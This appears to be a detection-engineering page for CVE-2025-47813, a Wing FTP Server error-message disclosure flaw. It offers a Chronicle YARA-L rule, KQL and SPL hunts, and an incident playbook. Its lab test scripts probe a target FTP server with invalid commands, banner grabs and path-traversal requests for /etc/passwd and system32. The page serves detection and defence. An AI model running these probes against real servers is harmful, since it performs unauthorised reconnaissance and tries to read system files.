CVE-2025-47813 Google Chronicle · YARA-L

Detect Wing FTP Server Information Disclosure via Error Messages (CVE-2025-47813) in Google Chronicle

Detects potential exploitation of CVE-2025-47813, an information disclosure vulnerability in Wing FTP Server (CWE-209) where detailed error messages expose sensitive server-side information. This vulnerability is actively exploited in the wild (CISA KEV). Attackers may probe the FTP server with malformed or unexpected requests to trigger verbose error responses revealing internal paths, software versions, configuration details, or stack traces.

MITRE ATT&CK

Tactic
Discovery Reconnaissance

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule wing_ftp_information_disclosure_cve_2025_47813 {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects Wing FTP Server information disclosure via verbose error messages (CVE-2025-47813)"
    severity = "HIGH"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-47813"
    mitre_attack_tactic = "Discovery"
    mitre_attack_technique = "T1592"

  events:
    $e.metadata.event_type = "NETWORK_CONNECTION"
    $e.network.application_protocol = "FTP"
    (
      re.regex($e.principal.process.file.full_path, `(?i)wing.?ftp|wftpd`)
      or re.regex($e.target.application, `(?i)wing.?ftp|wftpd`)
      or re.regex($e.metadata.product_name, `(?i)wing.?ftp`)
    )
    (
      re.regex($e.about.labels["response_code"], `^(4|5)\d{2}$`)
      or re.regex($e.network.sent_bytes, `[5-9]\d{2,}`)
    )

    $e2.metadata.event_type = "STATUS_UPDATE"
    (
      re.regex($e2.about.labels["message"], `(?i)(error|exception|stack.?trace|traceback)`)
      and re.regex($e2.about.labels["message"], `(?i)(path|version|config|permission|internal)`)
    )
    $e2.principal.hostname = $e.principal.hostname

  match:
    $e.principal.hostname over 10m

  outcome:
    $risk_score = 70
    $cve = "CVE-2025-47813"
    $src_ips = array_distinct($e.principal.ip)

  condition:
    $e and $e2
}
high severity medium confidence

Chronicle YARA-L 2.0 rule correlating Wing FTP Server network connections showing error responses with subsequent log entries containing sensitive information disclosure patterns.

Data Sources

Chronicle network telemetryFTP server logs ingested into ChronicleUDM events

Required Tables

udm_events

False Positives & Tuning

  • Legitimate FTP client misconfigurations causing repeated error sequences
  • Authorized security scans targeting the FTP server producing error correlations
  • FTP server upgrades or restarts causing transient error bursts followed by log entries
  • Network appliances performing health checks against FTP ports generating correlated events

Other platforms for CVE-2025-47813

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Trigger Wing FTP Server Verbose Error via Invalid Command

    Expected signal: Wing FTP Server access logs show connection from test host with invalid command responses. Network capture shows FTP control channel responses with error codes 500/502 and potentially verbose message bodies.

  2. Test 2Enumerate Wing FTP Server Version via Banner Grabbing and Error Probing

    Expected signal: Network logs show sequential FTP connections from test host. Wing FTP Server logs record failed auth attempts and invalid CWD commands with server-generated error responses.

  3. Test 3Simulate Automated Scanner Probing Wing FTP Server Error Responses

    Expected signal: Wing FTP Server logs show burst of varied FTP commands from single source IP including SYST, STAT, FEAT commands that reveal version/feature information, plus error responses to invalid path and command inputs.

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Confirm the affected host is running Wing FTP Server by checking process list (wftpd.exe, wftpserver.exe) and reviewing the installed version via Windows registry (HKLM\SOFTWARE\Wing FTP Server) or application logs.
  2. Review Wing FTP Server access logs (default: C:\Program Files\Wing FTP Server\log\) for the past 24-72 hours, focusing on error response codes (4xx/5xx) with unusually large response sizes that may indicate verbose error message delivery.
  3. Identify the source IP(s) generating error-triggering requests. Determine if they are known scanners, authorized security testers, or unknown external addresses. Cross-reference with threat intelligence feeds.
  4. Assess what information may have been disclosed: examine error log contents for internal file paths, version strings, configuration values, or stack traces that appeared in server responses.
  5. Check if exploitation was targeted (single source probing specific commands) or opportunistic (scanner-style broad probing across multiple FTP commands).

Containment

  1. Immediately restrict network access to the Wing FTP Server to trusted IP ranges via host-based firewall (Windows Firewall) or network ACL, blocking untrusted external access to FTP ports (21, 989, 990) until the server is patched.
  2. Apply the latest Wing FTP Server patch from the vendor (https://www.wftpserver.com/serverhistory.htm) which addresses the CWE-209 verbose error disclosure. Restart the service after patching and verify error responses no longer contain sensitive details.
  3. If patching is not immediately possible, configure Wing FTP Server to use minimal/generic error messages in its settings panel and disable detailed error logging to clients.

Evidence Collection

  1. Collect Wing FTP Server log files from the default log directory (C:\Program Files\Wing FTP Server\log\) covering the suspected exploitation window, preserving originals with hash verification before analysis.
  2. Capture network traffic logs or NetFlow data for the FTP server's external interface during the incident window to reconstruct what data was transmitted in error responses to external parties.
  3. Export Windows Event Logs (System, Application, Security) from the FTP server host for the relevant timeframe to identify any privilege escalation or lateral movement following information disclosure.

Escalation Criteria

  • !Escalate immediately if disclosed information includes credentials, internal network topology, or sensitive configuration values that could enable follow-on attacks such as credential stuffing or targeted exploitation.
  • !Escalate if the source IP of the probing activity is associated with known threat actors, ransomware groups, or is performing coordinated reconnaissance across multiple internal systems beyond the FTP server.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Wing FTP Server application logs: C:\Program Files\Wing FTP Server\log\*.log — contains all client connections, commands, and server responses including error messages
  • >Windows Application Event Log entries from source 'Wing FTP Server' containing error event IDs
  • >Network packet captures showing FTP control channel responses (port 21) with large response payloads indicating verbose error messages
  • >Windows registry key HKLM\SOFTWARE\Wing FTP Server containing version and installation path information

Tuning Guidance

Adjust the error count threshold (default: 5 errors in 5 minutes) based on your environment's baseline FTP error rate. Environments with many automated FTP clients or public-facing FTP servers will require higher thresholds or IP allowlisting of known automated sources. The disclosure keyword matching (path, version, config) may need tuning if your Wing FTP Server uses custom error message templates — review actual error log samples to refine regex patterns. Consider suppressing alerts from known vulnerability scanner IP ranges used by your security team.

Hunting Queries

Proactive hunt for Wing FTP Server hosts with elevated error rates or unusual diversity of source IPs, which may indicate scanning or exploitation attempts targeting CVE-2025-47813.

Hunting — KQL
kql 
CommonSecurityLog
| where DeviceProduct contains "Wing" or DeviceProduct contains "FTP"
| where Message contains "error" or Message contains "exception"
| summarize error_count=count(), unique_sources=dcount(SourceIP), sample_messages=make_set(Message, 5) by bin(TimeGenerated, 1h), DestinationIP
| where error_count > 20 or unique_sources > 5
| order by error_count desc
Hunting — SPL
spl 
index=* sourcetype=wftpserver OR sourcetype=ftp
| stats count as errors, dc(src_ip) as unique_srcs, values(status) as status_codes by host, span(1h)
| where errors > 20 OR unique_srcs > 5
| sort -errors

Atomic Red Team Tests

Test 1 Trigger Wing FTP Server Verbose Error via Invalid Command
windows

Send malformed or invalid FTP commands to Wing FTP Server to trigger verbose error responses that may disclose internal server information per CVE-2025-47813.

Command

powershell 
# Lab environment only — replace TARGET_IP with test Wing FTP Server IP
$ftpHost = "TARGET_IP"
$port = 21
$client = New-Object System.Net.Sockets.TcpClient($ftpHost, $port)
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
# Read banner
$banner = $reader.ReadLine()
Write-Output "Banner: $banner"
# Send invalid command to trigger error
$writer.WriteLine("INVALIDCMD test")
Start-Sleep -Milliseconds 500
$response = $reader.ReadLine()
Write-Output "Error Response: $response"
# Send malformed argument to STAT
$writer.WriteLine("STAT /../../etc/passwd")
Start-Sleep -Milliseconds 500
$response2 = $reader.ReadLine()
Write-Output "STAT Response: $response2"
$client.Close()

Cleanup

powershell 
No cleanup required; read-only network probe. Review Wing FTP Server logs to confirm test activity and delete test log entries if needed.

Expected Telemetry

Wing FTP Server access logs show connection from test host with invalid command responses. Network capture shows FTP control channel responses with error codes 500/502 and potentially verbose message bodies.

Expected Detection

Detection fires on error response with verbose content matching path or internal information disclosure patterns within the 5-minute window threshold.

Test 2 Enumerate Wing FTP Server Version via Banner Grabbing and Error Probing
linux

Use automated FTP banner grabbing combined with deliberate error triggers to collect version and path information disclosed in Wing FTP Server error responses.

Command

bash 
# Lab environment only — install nmap if not present
# Replace 192.168.1.100 with test Wing FTP Server IP
TARGET="192.168.1.100"

# Step 1: Banner grab
echo 'QUIT' | nc -w3 $TARGET 21 2>&1

# Step 2: Probe with invalid credentials to trigger auth error
(echo 'USER invalidtestuser123'; sleep 1; echo 'PASS wrongpassword'; sleep 1; echo 'QUIT') | nc -w5 $TARGET 21 2>&1

# Step 3: Send path traversal attempt via CWD to trigger error with path info
(echo 'USER anonymous'; sleep 1; echo 'PASS [email protected]'; sleep 1; echo 'CWD /../../../../windows/system32'; sleep 1; echo 'QUIT') | nc -w8 $TARGET 21 2>&1

Cleanup

bash 
No cleanup required. Ensure test Wing FTP Server logs are reviewed and test account 'anonymous' is disabled if not needed.

Expected Telemetry

Network logs show sequential FTP connections from test host. Wing FTP Server logs record failed auth attempts and invalid CWD commands with server-generated error responses.

Expected Detection

SPL/KQL query detects multiple error responses from single source IP within 5-minute window with disclosure-pattern keywords in response content.

Test 3 Simulate Automated Scanner Probing Wing FTP Server Error Responses
linux

Simulate an automated vulnerability scanner sending a battery of FTP commands designed to elicit verbose error responses from Wing FTP Server, as attackers use scanners to harvest disclosed information at scale.

Command

bash 
# Lab environment only — Python3 required
# Replace TARGET_IP with test Wing FTP Server IP
python3 << 'EOF'
import socket
import time

target = ("TARGET_IP", 21)
commands = [
    b"HELP\r\n",
    b"SYST\r\n",
    b"STAT\r\n",
    b"FEAT\r\n",
    b"USER ../../../../admin\r\n",
    b"PASS ../../../../admin\r\n",
    b"CWD /nonexistent/path/../../\r\n",
    b"RETR /etc/passwd\r\n",
    b"INVALIDCMD\r\n",
    b"QUIT\r\n",
]

s = socket.socket()
s.settimeout(10)
s.connect(target)
print("Banner:", s.recv(1024).decode(errors='replace'))

for cmd in commands:
    s.send(cmd)
    time.sleep(0.3)
    try:
        resp = s.recv(4096).decode(errors='replace')
        print(f"CMD: {cmd.strip()} => {resp[:200]}")
    except Exception as e:
        print(f"Error: {e}")

s.close()
EOF

Cleanup

bash 
Review Wing FTP Server logs to confirm test traffic. Remove any test user accounts created during the test. Verify no persistent changes were made to the server.

Expected Telemetry

Wing FTP Server logs show burst of varied FTP commands from single source IP including SYST, STAT, FEAT commands that reveal version/feature information, plus error responses to invalid path and command inputs.

Expected Detection

Both Splunk and Sentinel detections fire: error burst threshold exceeded (>=5 errors in 5min from single IP) with disclosure pattern matches on SYST/STAT responses and path error messages.

Related Detections

Tactic Hubs

TA0007DiscoveryTA0043Reconnaissance

Related Techniques

T1592Gather Victim Host InformationT1590Gather Victim Network InformationT1210Exploitation of Remote Services

Same Tactic: Discovery

Popular Detections